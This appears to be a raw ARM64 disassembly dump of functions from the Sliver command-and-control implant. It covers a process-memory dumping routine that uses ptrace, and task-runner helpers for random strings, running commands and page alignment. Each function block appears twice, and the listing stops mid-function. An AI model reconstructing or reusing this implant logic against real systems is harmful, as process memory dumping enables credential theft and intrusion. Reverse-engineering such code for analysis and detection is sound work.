0042926ccbnz x1, 0x429274
00429270b 0x4292b8
00429274
00429274loc_429274:
00429274ldr x5, [sp+416]
00429278adrp x27, 0x5f8000
0042927cldr x6, [x27+1520]
00429280subs xzr, x6, x5
00429284cset x5, ne
00429288b.ne 0x429290
0042928cb 0x429294
00429290
00429290loc_429290:
00429290b 0x4292b0
00429294
00429294loc_429294:
00429294ldr x0, [sp+416]
00429298ldr x1, [sp+424]
0042929cadrp x27, 0x5f8000
004292a0ldr x2, [x27+1528]
004292a4bl runtime.ifaceeq
004292a8eor x5, x0, 1
004292acb 0x4292b0
004292b0
004292b0loc_4292b0:
004292b0strb w5, [sp+79]
004292b4b 0x4292bc
004292b8
004292b8loc_4292b8:
004292b8b 0x4292bc
004292bc
004292bcloc_4292bc:
004292bcldrb w5, [sp+79]
004292c0tbnz w5, 0, 0x4292c8
004292c4b 0x429340
004292c8
004292c8loc_4292c8:
004292c8ldr x5, [sp+352]
004292ccstr x5, [sp+776]
004292d0adrp x0, 0x292000
004292d4add x0, x0, 3236
004292d8orr x1, xzr, 28
004292dcmov x2, xzr
004292e0mov x3, xzr
004292e4mov x4, x3
004292e8bl fmt.Errorf
004292ecstr x0, [sp+784]
004292f0str x1, [sp+792]
004292f4str x0, [sp+528]
004292f8str x1, [sp+536]
004292fcldr x5, [sp+776]
00429300adrp x6, 0x2ec000
00429304add x6, x6, 2016
00429308str x6, [sp+336]
0042930cstr x5, [sp+344]
00429310ldr x5, [sp+528]
00429314ldr x6, [sp+536]
00429318str x5, [sp+320]
0042931cstr x6, [sp+328]
00429320bl runtime.deferreturn
00429324ldr x0, [sp+336]
00429328ldr x2, [sp+320]
0042932cldr x1, [sp+344]
00429330ldr x3, [sp+328]
00429334ldp x29, x30, [sp-8]
00429338add sp, sp, 960
0042933cret x30
00429340
00429340loc_429340:
00429340ldr x5, [sp+112]
00429344ldr x6, [sp+104]
00429348add x5, x6, x5
0042934cstr x5, [sp+104]
00429350b 0x429354
00429354
00429354loc_429354:
00429354ldr x5, [sp+240]
00429358add x5, x5, 1
0042935cstr x5, [sp+240]
00429360b 0x42916c
00429364
00429364loc_429364:
00429364b 0x429368
00429368
00429368loc_429368:
00429368ldr x0, [sp+352]
0042936cstr x0, [sp+776]
00429370add x27, sp, 512
00429374stp xzr, xzr, [x27]
00429378ldr x0, [sp+776]
0042937cadrp x1, 0x2ec000
00429380add x1, x1, 2016
00429384str x1, [sp+336]
00429388str x0, [sp+344]
0042938cldr x0, [sp+512]
00429390ldr x1, [sp+520]
00429394str x0, [sp+320]
00429398str x1, [sp+328]
0042939cbl runtime.deferreturn
004293a0ldr x0, [sp+336]
004293a4ldr x2, [sp+320]
004293a8ldr x1, [sp+344]
004293acldr x3, [sp+328]
004293b0ldp x29, x30, [sp-8]
004293b4add sp, sp, 960
004293b8ret x30
004293bc
004293bcloc_4293bc:
004293bcbl runtime.panicSliceB
004293c0
004293c0loc_4293c0:
004293c0bl runtime.panicSliceAcap
004293c4
004293c4loc_4293c4:
004293c4ldr x5, [sp+256]
004293c8ldr x6, [sp+264]
004293ccsubs xzr, x5, x6
004293d0b.gt 0x4293d8
004293d4b 0x429560
004293d8
004293d8loc_4293d8:
004293d8ldr x5, [sp+264]
004293dcldr x6, [sp+752]
004293e0ldr x5, [x6+3*x5]
004293e4str x5, [sp+368]
004293e8ldrsb x27, [x5]
004293ecldrsb x27, [x5]
004293f0ldr x6, [x5+8]
004293f4ldr x5, [x5]
004293f8sub x5, x6, x5
004293fcstr x5, [sp+88]
00429400ldr x5, [sp+88]
00429404ldr x6, [sp+104]
00429408add x1, x6, x5
0042940cstr x1, [sp+280]
00429410ldr x5, [sp+352]
00429414ldrsb x27, [x5]
00429418ldr x2, [x5+16]
0042941cldr x5, [x5]
00429420ldr x0, [sp+104]
00429424subs xzr, x2, x1
00429428b.hs 0x429430
0042942cb 0x429694
00429430
00429430loc_429430:
00429430subs xzr, x0, x1
00429434b.ls 0x42943c
00429438b 0x429690
0042943c
0042943cloc_42943c:
0042943csub x6, x2, x0
00429440sub x7, x1, x0
00429444sub x8, xzr, x6
00429448and x8, x0, x8, asr #63
0042944cadd x5, x5, x8
00429450str x5, [sp+728]
00429454str x7, [sp+736]
00429458str x6, [sp+744]
0042945cadd x27, sp, 784
00429460stp xzr, xzr, [x27]
00429464ldr x5, [sp+368]
00429468ldrsb x27, [x5]
0042946cldr x5, [x5]
00429470str x5, [sp+248]
00429474ldr x1, [sp+248]
00429478ldr x2, [sp+728]
0042947cldr x3, [sp+736]
00429480ldr x4, [sp+744]
00429484ldrsw x5, [sp+968]
00429488mov x0, x5
0042948cbl syscall.PtracePeekData
00429490str x0, [sp+272]
00429494str x1, [sp+784]
00429498str x2, [sp+792]
0042949cldr x5, [sp+272]
004294a0str x5, [sp+304]
004294a4str x1, [sp+848]
004294a8str x2, [sp+856]
004294acldr x5, [sp+304]
004294b0str x5, [sp+120]
004294b4str x1, [sp+448]
004294b8str x2, [sp+456]
004294bccbnz x1, 0x4294c4
004294c0b 0x42953c
004294c4
004294c4loc_4294c4:
004294c4ldr x5, [sp+352]
004294c8str x5, [sp+776]
004294ccadrp x0, 0x292000
004294d0add x0, x0, 3236
004294d4orr x1, xzr, 28
004294d8mov x2, xzr
004294dcmov x3, xzr
004294e0mov x4, x3
004294e4bl fmt.Errorf
004294e8str x0, [sp+784]
004294ecstr x1, [sp+792]
004294f0str x0, [sp+632]
004294f4str x1, [sp+640]
004294f8ldr x5, [sp+776]
004294fcadrp x6, 0x2ec000
00429500add x6, x6, 2016
00429504str x6, [sp+336]
00429508str x5, [sp+344]
0042950cldr x5, [sp+632]
00429510ldr x6, [sp+640]
00429514str x5, [sp+320]
00429518str x6, [sp+328]
0042951cbl runtime.deferreturn
00429520ldr x0, [sp+336]
00429524ldr x2, [sp+320]
00429528ldr x1, [sp+344]
0042952cldr x3, [sp+328]
00429530ldp x29, x30, [sp-8]
00429534add sp, sp, 960
00429538ret x30
0042953c
0042953cloc_42953c:
0042953cldr x5, [sp+120]
00429540ldr x6, [sp+104]
00429544add x5, x6, x5
00429548str x5, [sp+104]
0042954cb 0x429550
00429550
00429550loc_429550:
00429550ldr x5, [sp+264]
00429554add x5, x5, 1
00429558str x5, [sp+264]
0042955cb 0x4293c4
00429560
00429560loc_429560:
00429560ldrsw x2, [sp+968]
00429564mov x0, x2
00429568movz x1, 18
0042956cbl syscall.Kill
00429570str x0, [sp+464]
00429574str x1, [sp+472]
00429578cbnz x0, 0x429580
0042957cb 0x4295f8
00429580
00429580loc_429580:
00429580ldr x5, [sp+352]
00429584str x5, [sp+776]
00429588adrp x0, 0x2a6000
0042958cadd x0, x0, 3218
00429590movz x1, 82
00429594mov x2, xzr
00429598mov x3, xzr
0042959cmov x4, x3
004295a0bl fmt.Errorf
004295a4str x0, [sp+784]
004295a8str x1, [sp+792]
004295acstr x0, [sp+616]
004295b0str x1, [sp+624]
004295b4ldr x5, [sp+776]
004295b8adrp x6, 0x2ec000
004295bcadd x6, x6, 2016
004295c0str x6, [sp+336]
004295c4str x5, [sp+344]
004295c8ldr x5, [sp+616]
004295ccldr x6, [sp+624]
004295d0str x5, [sp+320]
004295d4str x6, [sp+328]
004295d8bl runtime.deferreturn
004295dcldr x0, [sp+336]
004295e0ldr x2, [sp+320]
004295e4ldr x1, [sp+344]
004295e8ldr x3, [sp+328]
004295ecldp x29, x30, [sp-8]
004295f0add sp, sp, 960
004295f4ret x30
004295f8
004295f8loc_4295f8:
004295f8ldrsw x1, [sp+968]
004295fcmov x0, x1
00429600bl syscall.PtraceDetach
00429604str x0, [sp+464]
00429608str x1, [sp+472]
0042960ccbnz x0, 0x429614
00429610b 0x42968c
00429614
00429614loc_429614:
00429614ldr x5, [sp+352]
00429618str x5, [sp+776]
0042961cadrp x0, 0x2a7000
00429620add x0, x0, 621
00429624movz x1, 85
00429628mov x2, xzr
0042962cmov x3, xzr
00429630mov x4, x3
00429634bl fmt.Errorf
00429638str x0, [sp+784]
0042963cstr x1, [sp+792]
00429640str x0, [sp+600]
00429644str x1, [sp+608]
00429648ldr x5, [sp+776]
0042964cadrp x6, 0x2ec000
00429650add x6, x6, 2016
00429654str x6, [sp+336]
00429658str x5, [sp+344]
0042965cldr x5, [sp+600]
00429660ldr x6, [sp+608]
00429664str x5, [sp+320]
00429668str x6, [sp+328]
0042966cbl runtime.deferreturn
00429670ldr x0, [sp+336]
00429674ldr x2, [sp+320]
00429678ldr x1, [sp+344]
0042967cldr x3, [sp+328]
00429680ldp x29, x30, [sp-8]
00429684add sp, sp, 960
00429688ret x30
0042968c
0042968cloc_42968c:
0042968cb 0x429368
00429690
00429690loc_429690:
00429690bl runtime.panicSliceB
00429694
00429694loc_429694:
00429694bl runtime.panicSliceAcap
00429698hint
0042969c
0042969cloc_42969c:
0042969cstr w0, [sp+8]
004296a0mov x3, x30
004296a4bl runtime.morestack_noctxt.abi0
004296a8ldrsw x0, [sp+8]
004296acb 0x428a80
00428a80
004296b0
004296b0github.com/bishopfox/sliver/implant/sliver/procdump.dumpProcess.deferwrap1: ; void github.com/bishopfox/sliver/implant/sliver/procdump.dumpProcess.deferwrap1(void)
004296b0ldr x16, [x28+16]
004296b4subs xzr, sp, x16
004296b8b.ls 0x4296e8
004296bcstr x30, [sp-32]!
004296c0stur x29, [sp-8]
004296c4sub x29, sp, 8
004296c8ldr x16, [x28+32]
004296cccbnz x16, 0x4296f4
004296d0
004296d0loc_4296d0:
004296d0ldr x0, [x26+8]
004296d4str x0, [sp+16]
004296d8bl os.(*File).Close
004296dcldur x29, [sp-8]
004296e0ldr x30, [sp], 32
004296e4ret x30
004296e8
004296e8loc_4296e8:
004296e8mov x3, x30
004296ecbl runtime.morestack.abi0
004296f0b 0x4296b0
004296f4
004296f4loc_4296f4:
004296f4ldr x17, [x16]
004296f8add x20, sp, 40
004296fcsubs xzr, x20, x17
00429700b.ne 0x4296d0
00429704add x20, sp, 8
00429708str x20, [x16]
0042970cb 0x4296d0
004296b0
004296b0github.com/bishopfox/sliver/implant/sliver/procdump.dumpProcess.deferwrap1: ; void github.com/bishopfox/sliver/implant/sliver/procdump.dumpProcess.deferwrap1(void)
004296b0ldr x16, [x28+16]
004296b4subs xzr, sp, x16
004296b8b.ls 0x4296e8
004296bcstr x30, [sp-32]!
004296c0stur x29, [sp-8]
004296c4sub x29, sp, 8
004296c8ldr x16, [x28+32]
004296cccbnz x16, 0x4296f4
004296d0
004296d0loc_4296d0:
004296d0ldr x0, [x26+8]
004296d4str x0, [sp+16]
004296d8bl os.(*File).Close
004296dcldur x29, [sp-8]
004296e0ldr x30, [sp], 32
004296e4ret x30
004296e8
004296e8loc_4296e8:
004296e8mov x3, x30
004296ecbl runtime.morestack.abi0
004296f0b 0x4296b0
004296f4
004296f4loc_4296f4:
004296f4ldr x17, [x16]
004296f8add x20, sp, 40
004296fcsubs xzr, x20, x17
00429700b.ne 0x4296d0
00429704add x20, sp, 8
00429708str x20, [x16]
0042970cb 0x4296d0
004296b0
00429710
00429710type:.eq.github.com/bishopfox/sliver/implant/sliver/procdump.MemoryRegion: ; void type:.eq.github.com/bishopfox/sliver/implant/sliver/procdump.MemoryRegion(github.com/bishopfox/sliver/implant/sliver/procdump.MemoryRegion * p, github.com/bishopfox/sliver/implant/sliver/procdump.MemoryRegion * q)
00429710ldr x16, [x28+16]
00429714subs xzr, sp, x16
00429718b.ls 0x42980c
0042971cstr x30, [sp-80]!
00429720stur x29, [sp-8]
00429724sub x29, sp, 8
00429728str x0, [sp+88]
0042972cstr x1, [sp+96]
00429730strb wzr, [sp+39]
00429734ldr x3, [sp+88]
00429738ldr x3, [x3]
0042973cldr x4, [sp+96]
00429740ldr x4, [x4]
00429744subs xzr, x4, x3
00429748b.eq 0x429750
0042974cb 0x4297f0
00429750
00429750loc_429750:
00429750ldr x3, [sp+88]
00429754ldr x4, [sp+96]
00429758ldr x3, [x3+8]
0042975cldr x4, [x4+8]
00429760subs xzr, x4, x3
00429764b.eq 0x42976c
00429768b 0x4297ec
0042976c
0042976cloc_42976c:
0042976cldr x3, [sp+88]
00429770ldr x4, [sp+96]
00429774ldrb w3, [x3+16]
00429778ldrb w4, [x4+16]
0042977ceor x3, x3, x4
00429780eor x3, x3, 1
00429784tbnz w3, 0, 0x42978c
00429788b 0x4297e8
0042978c
0042978cloc_42978c:
0042978cldr x3, [sp+88]
00429790ldr x3, [x3+32]
00429794str x3, [sp+48]
00429798ldr x4, [x1+32]
0042979cstr x4, [sp+40]
004297a0subs xzr, x3, x4
004297a4b.eq 0x4297ac
004297a8b 0x4297e4
004297ac
004297acloc_4297ac:
004297acldr x3, [sp+88]
004297b0ldr x3, [x3+32]
004297b4str x3, [sp+40]
004297b8ldr x3, [sp+88]
004297bcldr x3, [x3+24]
004297c0str x3, [sp+64]
004297c4ldr x3, [sp+96]
004297c8ldr x1, [x3+24]
004297ccstr x1, [sp+56]
004297d0ldr x2, [sp+40]
004297d4ldr x0, [sp+64]
004297d8bl runtime.memequal
004297dcstrb w0, [sp+39]
004297e0b 0x4297fc
004297e4
004297e4loc_4297e4:
004297e4b 0x4297f4
004297e8
004297e8loc_4297e8:
004297e8b 0x4297f4
004297ec
004297ecloc_4297ec:
004297ecb 0x4297f4
004297f0
004297f0loc_4297f0:
004297f0b 0x4297f4
004297f4
004297f4loc_4297f4:
004297f4strb wzr, [sp+39]
004297f8b 0x4297fc
004297fc
004297fcloc_4297fc:
004297fcldrb w0, [sp+39]
00429800ldur x29, [sp-8]
00429804ldr x30, [sp], 80
00429808ret x30
0042980c
0042980cloc_42980c:
0042980cstp x0, x1, [sp+8]
00429810mov x3, x30
00429814bl runtime.morestack_noctxt.abi0
00429818ldp x0, x1, [sp+8]
0042981cb 0x429710
00429710
00429710type:.eq.github.com/bishopfox/sliver/implant/sliver/procdump.MemoryRegion: ; void type:.eq.github.com/bishopfox/sliver/implant/sliver/procdump.MemoryRegion(github.com/bishopfox/sliver/implant/sliver/procdump.MemoryRegion * p, github.com/bishopfox/sliver/implant/sliver/procdump.MemoryRegion * q)
00429710ldr x16, [x28+16]
00429714subs xzr, sp, x16
00429718b.ls 0x42980c
0042971cstr x30, [sp-80]!
00429720stur x29, [sp-8]
00429724sub x29, sp, 8
00429728str x0, [sp+88]
0042972cstr x1, [sp+96]
00429730strb wzr, [sp+39]
00429734ldr x3, [sp+88]
00429738ldr x3, [x3]
0042973cldr x4, [sp+96]
00429740ldr x4, [x4]
00429744subs xzr, x4, x3
00429748b.eq 0x429750
0042974cb 0x4297f0
00429750
00429750loc_429750:
00429750ldr x3, [sp+88]
00429754ldr x4, [sp+96]
00429758ldr x3, [x3+8]
0042975cldr x4, [x4+8]
00429760subs xzr, x4, x3
00429764b.eq 0x42976c
00429768b 0x4297ec
0042976c
0042976cloc_42976c:
0042976cldr x3, [sp+88]
00429770ldr x4, [sp+96]
00429774ldrb w3, [x3+16]
00429778ldrb w4, [x4+16]
0042977ceor x3, x3, x4
00429780eor x3, x3, 1
00429784tbnz w3, 0, 0x42978c
00429788b 0x4297e8
0042978c
0042978cloc_42978c:
0042978cldr x3, [sp+88]
00429790ldr x3, [x3+32]
00429794str x3, [sp+48]
00429798ldr x4, [x1+32]
0042979cstr x4, [sp+40]
004297a0subs xzr, x3, x4
004297a4b.eq 0x4297ac
004297a8b 0x4297e4
004297ac
004297acloc_4297ac:
004297acldr x3, [sp+88]
004297b0ldr x3, [x3+32]
004297b4str x3, [sp+40]
004297b8ldr x3, [sp+88]
004297bcldr x3, [x3+24]
004297c0str x3, [sp+64]
004297c4ldr x3, [sp+96]
004297c8ldr x1, [x3+24]
004297ccstr x1, [sp+56]
004297d0ldr x2, [sp+40]
004297d4ldr x0, [sp+64]
004297d8bl runtime.memequal
004297dcstrb w0, [sp+39]
004297e0b 0x4297fc
004297e4
004297e4loc_4297e4:
004297e4b 0x4297f4
004297e8
004297e8loc_4297e8:
004297e8b 0x4297f4
004297ec
004297ecloc_4297ec:
004297ecb 0x4297f4
004297f0
004297f0loc_4297f0:
004297f0b 0x4297f4
004297f4
004297f4loc_4297f4:
004297f4strb wzr, [sp+39]
004297f8b 0x4297fc
004297fc
004297fcloc_4297fc:
004297fcldrb w0, [sp+39]
00429800ldur x29, [sp-8]
00429804ldr x30, [sp], 80
00429808ret x30
0042980c
0042980cloc_42980c:
0042980cstp x0, x1, [sp+8]
00429810mov x3, x30
00429814bl runtime.morestack_noctxt.abi0
00429818ldp x0, x1, [sp+8]
0042981cb 0x429710
00429710
00429820
00429820github.com/bishopfox/sliver/implant/sliver/taskrunner.stringWithCharset: ; void github.com/bishopfox/sliver/implant/sliver/taskrunner.stringWithCharset(int length, struct string charset)
00429820ldr x16, [x28+16]
00429824sub x17, sp, 48
00429828subs xzr, x17, x16
0042982cb.ls 0x429958
00429830str x30, [sp-176]!
00429834stur x29, [sp-8]
00429838sub x29, sp, 8
0042983cstr x0, [sp+184]
00429840str x1, [sp+192]
00429844str x2, [sp+200]
00429848stp xzr, xzr, [sp+80]
0042984cbl time.Now
00429850str x0, [sp+144]
00429854str x1, [sp+152]
00429858str x2, [sp+160]
0042985cbl time.Time.UnixNano
00429860str x0, [sp+48]
00429864bl math/rand.NewSource
00429868str x0, [sp+128]
0042986cstr x1, [sp+136]
00429870bl math/rand.New
00429874str x0, [sp+96]
00429878ldr x2, [sp+184]
0042987cldr x1, [sp+184]
00429880adrp x0, 0x1cc000
00429884add x0, x0, 3072
00429888bl runtime.makeslice
0042988cldr x1, [sp+184]
00429890ldr x2, [sp+184]
00429894str x0, [sp+104]
00429898str x1, [sp+112]
0042989cstr x2, [sp+120]
004298a0str xzr, [sp+64]
004298a4str x1, [sp+56]
004298a8b 0x4298ac
004298ac
004298acloc_4298ac:
004298acldr x3, [sp+56]
004298b0ldr x4, [sp+64]
004298b4subs xzr, x3, x4
004298b8b.gt 0x4298c0
004298bcb 0x429924
004298c0
004298c0loc_4298c0:
004298c0ldr x2, [sp+64]
004298c4str x2, [sp+32]
004298c8ldr x1, [sp+200]
004298ccstr x1, [sp+40]
004298d0ldr x0, [sp+96]
004298d4bl math/rand.(*Rand).Intn
004298d8str x0, [sp+72]
004298dcldr x1, [sp+200]
004298e0ldr x2, [sp+192]
004298e4subs xzr, x0, x1
004298e8b.lo 0x4298f0
004298ecb 0x429950
004298f0
004298f0loc_4298f0:
004298f0ldr x3, [sp+32]
004298f4ldr x1, [sp+112]
004298f8ldr x4, [sp+104]
004298fcldrb w5, [x2+x0]
00429900subs xzr, x1, x3
00429904b.hi 0x42990c
00429908b 0x429948
0042990c
0042990cloc_42990c:
0042990cstrb w5, [x4+x3]
00429910b 0x429914
00429914
00429914loc_429914:
00429914ldr x3, [sp+64]
00429918add x3, x3, 1
0042991cstr x3, [sp+64]
00429920b 0x4298ac
00429924
00429924loc_429924:
00429924ldr x1, [sp+104]
00429928ldr x2, [sp+112]
0042992cmov x0, xzr
00429930bl runtime.slicebytetostring
00429934str x0, [sp+80]
00429938str x1, [sp+88]
0042993cldur x29, [sp-8]
00429940ldr x30, [sp], 176
00429944ret x30
00429948
00429948loc_429948:
00429948mov x0, x3
0042994cbl runtime.panicIndex
00429950
00429950loc_429950:
00429950bl runtime.panicIndex
00429954hint
00429958
00429958loc_429958:
00429958stp x0, x1, [sp+8]
0042995cstr x2, [sp+24]
00429960mov x3, x30
00429964bl runtime.morestack_noctxt.abi0
00429968ldp x0, x1, [sp+8]
0042996cldr x2, [sp+24]
00429970b 0x429820
00429974udf 0
00429978udf 0
0042997cudf 0
00429820
00429820github.com/bishopfox/sliver/implant/sliver/taskrunner.stringWithCharset: ; void github.com/bishopfox/sliver/implant/sliver/taskrunner.stringWithCharset(int length, struct string charset)
00429820ldr x16, [x28+16]
00429824sub x17, sp, 48
00429828subs xzr, x17, x16
0042982cb.ls 0x429958
00429830str x30, [sp-176]!
00429834stur x29, [sp-8]
00429838sub x29, sp, 8
0042983cstr x0, [sp+184]
00429840str x1, [sp+192]
00429844str x2, [sp+200]
00429848stp xzr, xzr, [sp+80]
0042984cbl time.Now
00429850str x0, [sp+144]
00429854str x1, [sp+152]
00429858str x2, [sp+160]
0042985cbl time.Time.UnixNano
00429860str x0, [sp+48]
00429864bl math/rand.NewSource
00429868str x0, [sp+128]
0042986cstr x1, [sp+136]
00429870bl math/rand.New
00429874str x0, [sp+96]
00429878ldr x2, [sp+184]
0042987cldr x1, [sp+184]
00429880adrp x0, 0x1cc000
00429884add x0, x0, 3072
00429888bl runtime.makeslice
0042988cldr x1, [sp+184]
00429890ldr x2, [sp+184]
00429894str x0, [sp+104]
00429898str x1, [sp+112]
0042989cstr x2, [sp+120]
004298a0str xzr, [sp+64]
004298a4str x1, [sp+56]
004298a8b 0x4298ac
004298ac
004298acloc_4298ac:
004298acldr x3, [sp+56]
004298b0ldr x4, [sp+64]
004298b4subs xzr, x3, x4
004298b8b.gt 0x4298c0
004298bcb 0x429924
004298c0
004298c0loc_4298c0:
004298c0ldr x2, [sp+64]
004298c4str x2, [sp+32]
004298c8ldr x1, [sp+200]
004298ccstr x1, [sp+40]
004298d0ldr x0, [sp+96]
004298d4bl math/rand.(*Rand).Intn
004298d8str x0, [sp+72]
004298dcldr x1, [sp+200]
004298e0ldr x2, [sp+192]
004298e4subs xzr, x0, x1
004298e8b.lo 0x4298f0
004298ecb 0x429950
004298f0
004298f0loc_4298f0:
004298f0ldr x3, [sp+32]
004298f4ldr x1, [sp+112]
004298f8ldr x4, [sp+104]
004298fcldrb w5, [x2+x0]
00429900subs xzr, x1, x3
00429904b.hi 0x42990c
00429908b 0x429948
0042990c
0042990cloc_42990c:
0042990cstrb w5, [x4+x3]
00429910b 0x429914
00429914
00429914loc_429914:
00429914ldr x3, [sp+64]
00429918add x3, x3, 1
0042991cstr x3, [sp+64]
00429920b 0x4298ac
00429924
00429924loc_429924:
00429924ldr x1, [sp+104]
00429928ldr x2, [sp+112]
0042992cmov x0, xzr
00429930bl runtime.slicebytetostring
00429934str x0, [sp+80]
00429938str x1, [sp+88]
0042993cldur x29, [sp-8]
00429940ldr x30, [sp], 176
00429944ret x30
00429948
00429948loc_429948:
00429948mov x0, x3
0042994cbl runtime.panicIndex
00429950
00429950loc_429950:
00429950bl runtime.panicIndex
00429954hint
00429958
00429958loc_429958:
00429958stp x0, x1, [sp+8]
0042995cstr x2, [sp+24]
00429960mov x3, x30
00429964bl runtime.morestack_noctxt.abi0
00429968ldp x0, x1, [sp+8]
0042996cldr x2, [sp+24]
00429970b 0x429820
00429974udf 0
00429978udf 0
0042997cudf 0
00429820
00429980
00429980github.com/bishopfox/sliver/implant/sliver/taskrunner.RandomString: ; void github.com/bishopfox/sliver/implant/sliver/taskrunner.RandomString(int length)
00429980ldr x16, [x28+16]
00429984subs xzr, sp, x16
00429988b.ls 0x4299d8
0042998cstr x30, [sp-96]!
00429990stur x29, [sp-8]
00429994sub x29, sp, 8
00429998str x0, [sp+104]
0042999cstp xzr, xzr, [sp+40]
004299a0adrp x1, 0x2a3000
004299a4add x1, x1, 3628
004299a8str x1, [sp+56]
004299acorr x2, xzr, 62
004299b0str x2, [sp+64]
004299b4ldr x0, [sp+104]
004299b8bl github.com/bishopfox/sliver/implant/sliver/taskrunner.stringWithCharset
004299bcstr x0, [sp+72]
004299c0str x1, [sp+80]
004299c4str x0, [sp+40]
004299c8str x1, [sp+48]
004299ccldur x29, [sp-8]
004299d0ldr x30, [sp], 96
004299d4ret x30
004299d8
004299d8loc_4299d8:
004299d8str x0, [sp+8]
004299dcmov x3, x30
004299e0bl runtime.morestack_noctxt.abi0
004299e4ldr x0, [sp+8]
004299e8b 0x429980
004299ecudf 0
00429980
00429980github.com/bishopfox/sliver/implant/sliver/taskrunner.RandomString: ; void github.com/bishopfox/sliver/implant/sliver/taskrunner.RandomString(int length)
00429980ldr x16, [x28+16]
00429984subs xzr, sp, x16
00429988b.ls 0x4299d8
0042998cstr x30, [sp-96]!
00429990stur x29, [sp-8]
00429994sub x29, sp, 8
00429998str x0, [sp+104]
0042999cstp xzr, xzr, [sp+40]
004299a0adrp x1, 0x2a3000
004299a4add x1, x1, 3628
004299a8str x1, [sp+56]
004299acorr x2, xzr, 62
004299b0str x2, [sp+64]
004299b4ldr x0, [sp+104]
004299b8bl github.com/bishopfox/sliver/implant/sliver/taskrunner.stringWithCharset
004299bcstr x0, [sp+72]
004299c0str x1, [sp+80]
004299c4str x0, [sp+40]
004299c8str x1, [sp+48]
004299ccldur x29, [sp-8]
004299d0ldr x30, [sp], 96
004299d4ret x30
004299d8
004299d8loc_4299d8:
004299d8str x0, [sp+8]
004299dcmov x3, x30
004299e0bl runtime.morestack_noctxt.abi0
004299e4ldr x0, [sp+8]
004299e8b 0x429980
004299ecudf 0
00429980
004299f0
004299f0github.com/bishopfox/sliver/implant/sliver/taskrunner.startAndWait: ; void github.com/bishopfox/sliver/implant/sliver/taskrunner.startAndWait(os/exec.Cmd * cmd, sync.WaitGroup * wg)
004299f0ldr x16, [x28+16]
004299f4subs xzr, sp, x16
004299f8b.ls 0x429a30
004299fcstr x30, [sp-32]!
00429a00stur x29, [sp-8]
00429a04sub x29, sp, 8
00429a08str x0, [sp+40]
00429a0cstr x1, [sp+48]
00429a10bl os/exec.(*Cmd).Start
00429a14ldr x0, [sp+40]
00429a18bl os/exec.(*Cmd).Wait
00429a1cldr x0, [sp+48]
00429a20bl sync.(*WaitGroup).Done
00429a24ldur x29, [sp-8]
00429a28ldr x30, [sp], 32
00429a2cret x30
00429a30
00429a30loc_429a30:
00429a30stp x0, x1, [sp+8]
00429a34mov x3, x30
00429a38bl runtime.morestack_noctxt.abi0
00429a3cldp x0, x1, [sp+8]
00429a40b 0x4299f0
00429a44udf 0
00429a48udf 0
00429a4cudf 0
004299f0
004299f0github.com/bishopfox/sliver/implant/sliver/taskrunner.startAndWait: ; void github.com/bishopfox/sliver/implant/sliver/taskrunner.startAndWait(os/exec.Cmd * cmd, sync.WaitGroup * wg)
004299f0ldr x16, [x28+16]
004299f4subs xzr, sp, x16
004299f8b.ls 0x429a30
004299fcstr x30, [sp-32]!
00429a00stur x29, [sp-8]
00429a04sub x29, sp, 8
00429a08str x0, [sp+40]
00429a0cstr x1, [sp+48]
00429a10bl os/exec.(*Cmd).Start
00429a14ldr x0, [sp+40]
00429a18bl os/exec.(*Cmd).Wait
00429a1cldr x0, [sp+48]
00429a20bl sync.(*WaitGroup).Done
00429a24ldur x29, [sp-8]
00429a28ldr x30, [sp], 32
00429a2cret x30
00429a30
00429a30loc_429a30:
00429a30stp x0, x1, [sp+8]
00429a34mov x3, x30
00429a38bl runtime.morestack_noctxt.abi0
00429a3cldp x0, x1, [sp+8]
00429a40b 0x4299f0
00429a44udf 0
00429a48udf 0
00429a4cudf 0
004299f0
00429a50
00429a50github.com/bishopfox/sliver/implant/sliver/taskrunner.getPage: ; void github.com/bishopfox/sliver/implant/sliver/taskrunner.getPage(uintptr p)
00429a50ldr x16, [x28+16]
00429a54subs xzr, sp, x16
00429a58b.ls 0x429af0
00429a5cstr x30, [sp-96]!
00429a60stur x29, [sp-8]
00429a64sub x29, sp, 8
00429a68str x0, [sp+104]
00429a6cstr xzr, [sp+40]
00429a70stp xzr, xzr, [sp+48]
00429a74bl syscall.Getpagesize
00429a78str x0, [sp+32]
00429a7cbl syscall.Getpagesize
00429a80str x0, [sp+24]
00429a84ldr x1, [sp+104]
00429a88ldr x2, [sp+32]
00429a8csub x2, xzr, x2
00429a90and x1, x1, x2
00429a94ldrsb x27, [x1]
00429a98orr x2, xzr, 0xffffff
00429a9csubs xzr, x0, x2
00429aa0b.ls 0x429aa8
00429aa4b 0x429ae0
00429aa8
00429aa8loc_429aa8:
00429aa8b 0x429aac
00429aac
00429aacloc_429aac:
00429aacstr x1, [sp+64]
00429ab0str x0, [sp+72]
00429ab4orr x2, xzr, 0xffffff
00429ab8str x2, [sp+80]
00429abcstr x1, [sp+40]
00429ac0str x0, [sp+48]
00429ac4str x2, [sp+56]
00429ac8ldr x3, [sp+40]
00429accmov x1, x0
00429ad0mov x0, x3
00429ad4ldur x29, [sp-8]
00429ad8ldr x30, [sp], 96
00429adcret x30
00429ae0
00429ae0loc_429ae0:
00429ae0mov x1, x0
00429ae4orr x2, xzr, 0xffffff
00429ae8bl runtime.panicSliceAlen
00429aechint
00429af0
00429af0loc_429af0:
00429af0str x0, [sp+8]
00429af4mov x3, x30
00429af8bl runtime.morestack_noctxt.abi0
00429afcldr x0, [sp+8]
00429b00b 0x429a50
00429b04udf 0
00429b08udf 0
00429b0cudf 0
00429a50
00429a50github.com/bishopfox/sliver/implant/sliver/taskrunner.getPage: ; void github.com/bishopfox/sliver/implant/sliver/taskrunner.getPage(uintptr p)
00429a50ldr x16, [x28+16]
00429a54subs xzr, sp, x16
00429a58b.ls 0x429af0
00429a5cstr x30, [sp-96]!
00429a60stur x29, [sp-8]
00429a64sub x29, sp, 8
00429a68str x0, [sp+104]
00429a6cstr xzr, [sp+40]
00429a70stp xzr, xzr, [sp+48]
00429a74bl syscall.Getpagesize
00429a78str x0, [sp+32]
00429a7cbl syscall.Getpagesize
00429a80str x0, [sp+24]
00429a84ldr x1, [sp+104]
00429a88ldr x2, [sp+32]
00429a8csub x2, xzr, x2
00429a90and x1, x1, x2
00429a94ldrsb x27, [x1]
00429a98orr x2, xzr, 0xffffff
00429a9csubs xzr, x0, x2
00429aa0b.ls 0x429aa8
00429aa4b 0x429ae0
00429aa8
00429aa8loc_429aa8:
00429aa8b 0x429aac
00429aac
00429aacloc_429aac:
00429aacstr x1, [sp+64]
00429ab0str x0, [sp+72]
00429ab4orr x2, xzr, 0xffffff
00429ab8str x2, [sp+80]
00429abcstr x1, [sp+40]
